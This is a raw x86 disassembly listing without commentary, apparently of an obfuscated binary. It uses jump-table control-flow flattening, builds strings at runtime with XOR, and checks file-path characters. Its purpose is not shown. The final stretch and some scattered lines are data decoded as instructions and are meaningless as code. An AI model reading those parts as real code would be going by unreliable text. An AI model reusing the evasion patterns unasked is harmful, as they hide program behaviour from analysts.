mov edi, dword [esp + 0x26c]
mov edx, dword [edi + edx*4]
jmp edx
mov al, byte [esp + 0x1c]
mov byte [esp + 0x28], al
mov dword [esp], 0x40c1824
mov dword [esp + 4], 5
call fcn.0041a050
add eax, 0x3a
xor eax, 0x24
mov byte [esp + 0x38], al
mov dword [esp], 0x40c1824
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x25
mov byte [esp + 0x39], al
mov dword [esp], 0x40c1824
mov dword [esp + 4], 5
call fcn.0041a050
add eax, 0x5c
xor eax, 0x26
mov byte [esp + 0x3a], al
mov dword [esp], 0x40c1824
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x27
mov byte [esp + 0x3b], al
mov dword [esp], 0x40c1824
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x28
mov byte [esp + 0x3c], al
mov dword [esp], 0x40c1824
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x29
mov byte [esp + 0x3d], al
mov eax, 6
mov byte [esp + eax + 0x38], 0
add eax, 1
cmp eax, 9
jne 0x4392e9
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 9
jae 0x439333
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
movzx ecx, byte [esp + ecx + 0x38]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b2d0
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 0x38], al
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
jmp 0x4392fe
mov esi, edi
add esi, 2
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00439c30
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x290], ecx
mov eax, dword [esp + 0x294]
mov ecx, dword [esp + 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
inc ebp
or ebp, dword [eax + ecx*2 + 0x4e]
fcom qword [edx - 0x2a]
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x160], eax
mov eax, dword [esp + 0x164]
mov ecx, dword [esp + 0x160]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x320], 0
mov eax, dword [esp + 0x324]
mov ecx, dword [esp + 0x320]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0xe8], 1
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xe8]
mov eax, dword [eax + ecx*4]
jmp eax
add al, 0x55
invalid
mov al, cl
and eax, 1
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2ac]
mov ecx, dword [esp + 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x120], 1
mov eax, dword [esp + 0x124]
mov ecx, dword [esp + 0x120]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x108], 0
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x108]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x2c8], 0
mov eax, dword [esp + 0x2cc]
mov ecx, dword [esp + 0x2c8]
mov eax, dword [eax + ecx*4]
jmp eax
dec esi
adc dword [edx + 0x24448b94], esp
push 0x6c244c8b
mov eax, dword [ecx + eax*4]
jmp eax
mov word [edi], 0
mov eax, dword [esp + 0x440]
mov ecx, dword [esp + 0x444]
mov eax, dword [ecx + eax*4]
mov ebx, edi
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x170], 1
mov eax, dword [esp + 0x174]
mov ecx, dword [esp + 0x170]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edi]
test ax, ax
sete al
mov ecx, dword [esp + 0x358]
mov edx, dword [esp + 0x35c]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040a1d0
mov dword [esp + 0x308], 1
mov eax, dword [esp + 0x30c]
mov ecx, dword [esp + 0x308]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x1a0], 1
mov eax, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1a0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov cx, word [edi]
xor eax, eax
test cx, cx
sete cl
mov dword [esp + 0x168], 0
mov edx, dword [esp + 0x16c]
mov esi, dword [esp + 0x168]
mov edx, dword [edx + esi*4]
jmp edx
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0xfc]
mov eax, dword [ecx + eax*4]
mov bl, 1
jmp eax
mov ecx, dword [esp + 0x1c0]
mov edx, dword [esp + 0x1c4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov al, byte [esp + 0x20]
mov byte [esp + 0x24], al
mov dword [esp], 0xb63ff12
mov dword [esp + 4], 5
call fcn.0041a050
add eax, 0x3a
xor eax, 0x12
mov byte [esp + 0x2c], al
mov dword [esp], 0xb63ff12
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x13
mov byte [esp + 0x2d], al
mov dword [esp], 0xb63ff12
mov dword [esp + 4], 5
call fcn.0041a050
add eax, 0x5c
xor eax, 0x14
mov byte [esp + 0x2e], al
mov dword [esp], 0xb63ff12
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x15
mov byte [esp + 0x2f], al
mov dword [esp], 0xb63ff12
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x16
mov byte [esp + 0x30], al
mov dword [esp], 0xb63ff12
mov dword [esp + 4], 5
call fcn.0041a050
xor eax, 0x17
mov byte [esp + 0x31], al
mov eax, 6
mov byte [esp + eax + 0x2c], 0
add eax, 1
cmp eax, 0xa
jne 0x43970b
mov eax, dword [esp + 0x390]
mov ecx, dword [esp + 0x394]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0x470]
jmp eax
add ebp, 4
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x18c]
mov eax, dword [ecx + eax*4]
mov esi, ebp
jmp eax
mov eax, dword [esp + 0x210]
mov ecx, dword [esp + 0x214]
mov eax, dword [ecx + eax*4]
mov ebx, esi
jmp eax
mov eax, dword [esp + 0x238]
mov ecx, dword [esp + 0x23c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0xe]
mov bl, al
and ebx, 1
mov dword [esp + 0x2c0], ebx
mov eax, dword [esp + 0x2c4]
mov ecx, dword [esp + 0x2c0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x44], edx
mov edi, dword [esp + 0x470]
mov ax, word [edi]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x298], ecx
mov eax, dword [esp + 0x29c]
mov ecx, dword [esp + 0x298]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x10]
jmp eax
call fcn.0040a1d0
lea eax, [esp + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00439c30
mov dword [esp + 0x378], 1
mov ecx, dword [esp + 0x37c]
mov edx, dword [esp + 0x378]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0xf]
mov bl, al
and ebx, 1
mov dword [esp + 0x3a0], ebx
mov eax, dword [esp + 0x3a4]
mov ecx, dword [esp + 0x3a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], ebp
call fcn.00416aa0
lea esi, [ebp + eax*2]
mov eax, dword [esp + 0x418]
mov ecx, dword [esp + 0x41c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1d8]
mov ecx, dword [esp + 0x1dc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x2f0], 0
mov eax, dword [esp + 0x2f4]
mov ecx, dword [esp + 0x2f0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov word [ebx], 0x5c
mov eax, ebx
add eax, 2
mov esi, ebp
add esi, 2
mov dword [esp + 0x3e8], 1
mov ecx, dword [esp + 0x3ec]
mov edx, dword [esp + 0x3e8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov word [edi], 0x5c
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x15c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x3f8], eax
mov eax, dword [esp + 0x3fc]
mov ecx, dword [esp + 0x3f8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x10]
jmp eax
and bl, 1
movzx eax, bl
add esp, 0x458
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.0040a1d0
mov dword [esp + 0x408], 1
mov eax, dword [esp + 0x40c]
mov ecx, dword [esp + 0x408]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x300]
mov ecx, dword [esp + 0x304]
mov eax, dword [ecx + eax*4]
jmp eax
clc
xchg ecx, eax
dec ebx
das
sahf
pop ebp
ljmp 0xe0
mov edx, 0x8b27eb66
test byte [eax + edi*4], ah
add byte [eax], al
add byte [ebx + 0xbc248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebp]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x3d0], ecx
mov eax, dword [esp + 0x3d4]
mov ecx, dword [esp + 0x3d0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov ax, word [esi]
mov dword [esp + 0x1c8], 1
mov ecx, dword [esp + 0x1cc]
mov edx, dword [esp + 0x1c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x470]
mov ax, word [eax]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x360], ecx
mov eax, dword [esp + 0x364]
mov ecx, dword [esp + 0x360]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x348], 1
mov eax, dword [esp + 0x34c]
mov ecx, dword [esp + 0x348]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x370]
mov edx, dword [esp + 0x374]
mov ecx, dword [edx + ecx*4]
jmp ecx
jns 0x4399e7
out dx, eax
hlt
mov ax, word [edi + 2]
xor ecx, ecx
sub ax, 0x3a
sete cl
mov dword [esp + 0x130], ecx
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x130]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x240], 0
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, ebp
add edx, 2
mov ax, word [ebp + 2]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x2a0], ecx
mov eax, dword [esp + 0x2a4]
mov ecx, dword [esp + 0x2a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2e8]
mov ecx, dword [esp + 0x2ec]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x310], 0
mov eax, dword [esp + 0x314]
mov ecx, dword [esp + 0x310]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x10]
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [esp + 0x250], eax
mov eax, dword [esp + 0x254]
mov ecx, dword [esp + 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x194]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 0x44]
jmp eax
push es
mov dh, 0xc
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040a1d0
mov dword [esp + 0x198], 1
mov eax, dword [esp + 0x19c]
mov ecx, dword [esp + 0x198]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040a1d0
xor eax, eax
mov ecx, edi
sub ecx, 0x5c
sete cl
mov dword [esp + 0x270], 1
mov edx, dword [esp + 0x274]
mov ebx, dword [esp + 0x270]
mov edx, dword [edx + ebx*4]
jmp edx
call fcn.0040a1d0
mov dword [esp + 0x208], 1
mov eax, dword [esp + 0x20c]
mov ecx, dword [esp + 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
je 0x4482ca
add byte [edi], bh
je 0x4482ce
add byte [esi - 0x5affbc86], cl
je 0x4482d6
add byte [edi + 0x7a], dh
inc ebx
jp 0x4482da
add byte [edx + 0x75], dh
inc ebx
add byte [ebp + 0x7a], ch
inc ebx
add byte [esi + 0x56004375], dl
jp 0x4482ea
add byte [edx], al
ja 0x4482ee
add byte [ecx + 0x7a], cl
inc ebx
add byte [esi + 0x77], dl
inc ebx
add byte [ecx], dh
jp 0x4482fa
add byte [ecx], ah
js 0x4482fe
add byte [edi], dl
jp 0x448302
add byte [eax - 0x31ffbc87], dh
jns 0x44830a
add al, ah
jns 0x44830e
inc ebx
add al, ah
jns 0x448312
inc ebx
add ch, ch
jns 0x448316
add byte [edi], al
jp 0x44831a
inc ebx
add byte [edi], dl
jp 0x44831e
inc ebx
add byte [eax], ch
jp 0x448322
add byte [ecx], dh
jp 0x448326
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
jl 0x448332
add byte [eax], al
add byte [ebx + eax*2], bh
add dword [eax], eax
add byte [eax], al
clc
inc ebx
add byte [ecx], al
add byte [eax], al
add al, bh
jnp 0x44833a
add bh, al
jp 0x44833e
inc ebx
add al, bh
jnp 0x448342
inc ebx
add al, ah
jp 0x448346
inc ebx
add byte [esi], al
jnp 0x44834a
add al, dh
jp 0x44834e
inc ebx
add byte [esi], al
jnp 0x448352
inc ebx
add byte [ebx], al
jnp 0x448356
inc ebx
add al, ah
jnp 0x44835a
inc ebx
add al, al
jnp 0x44835e
inc ebx
add al, ah
jnp 0x448362
inc ebx
add al, ah
jnp 0x448366
inc ebx
add dh, ah
jnp 0x44836a
inc ebx
add al, ah
jnp 0x44836e
add byte [eax], bl
jle 0x448372
add byte [0x100437c], dh
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + 0x7c], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
inc esi
jl 4490118
inc ebx
add byte [eax], dl
jge 0x44838a
inc ebx
add byte [eax], dl
jge 0x44838e
inc ebx
add byte [edx], dl
jge 0x448392
inc ebx
add byte [eax], dl
jge 0x448396
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], dl
jge 0x4483a6
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
adc bh, byte [ebp + 0x43]
inc ebx
add byte [edx], dl
jle 0x4483aa
inc ebx
add byte [esi], ah
jge 0x4483ae
inc ebx
add byte [eax], dh
jge 0x4483b2
inc ebx
add byte [eax], dh
jge 0x4483b6
inc ebx
add byte [edx], dh
jge 0x4483ba
add byte [eax], dh
jge 0x4483be
add byte [edx], dl
jle 0x4483c2
inc ebx
add byte [eax + 0x7d], dl
inc ebx
add byte [ebx - 0x3fffbc83], ch
inc ebx
add al, al
jge 0x4483ce
inc ebx
add dh, bl
jge 0x4483d2
inc ebx
add al, dh
jge 0x4483d6
inc ebx
add al, dh
jge 0x4483da
inc ebx
add bh, bh
jge 0x4483de
add byte [esi], ah
jle 0x4483e2
add bl, cl
jle 0x4483e6
add byte [esi], ah
jle 0x4483ea
inc ebx
add byte [eax], bl
jle 0x4483ee
inc ebx
add dh, dh
xchg esp, eax
inc ebx
add ah, bh
mov es, word [ebx]
xor edx, dword [ebp - 0x7214ffbd]
inc ebx
add byte [ebx], dh
xchg ebp, eax
inc ebx
add bl, ch
lea eax, [ebx]
xor edx, dword [eax - 0x67e0ffbd]
inc ebx
add byte [ebx], dh
nop
inc ebx
add byte [edi], bl
cwde
inc ebx
add byte [0xf200438b], bh
cwde
inc ebx
add byte [eax], ch
cdq
inc ebx
add byte [ebx], al
mov word [ebx], es
add ecx, dword [ebx + eax*2 + 0x4398be00]
inc ebx
add byte [ebx], al
mov word [ebx], es
mov esi, 0x3d004398
inc ebx
add byte [esi + 0x3d004398], bh
inc ebx
add byte [0xc700438b], bh
mov eax, dword [ebx]
invalid
inc ebx
add bh, al
mov word [ebx], es
je 0x44837e
inc ebx
add byte [eax + ebx*4 + 0x43], dh
inc ebx
add byte [ebp - 0x6f], dh
inc ebx
add byte [eax + ebx*4 + 0x43], dh
inc ebx
add byte [eax - 0x33ffbc72], bh
lea eax, [ebx]
pop edx
cdq
inc ebx
add ah, cl
lea eax, [ebx]
mov eax, dword [0x6f00438d]
mov es, word [ebx]
ret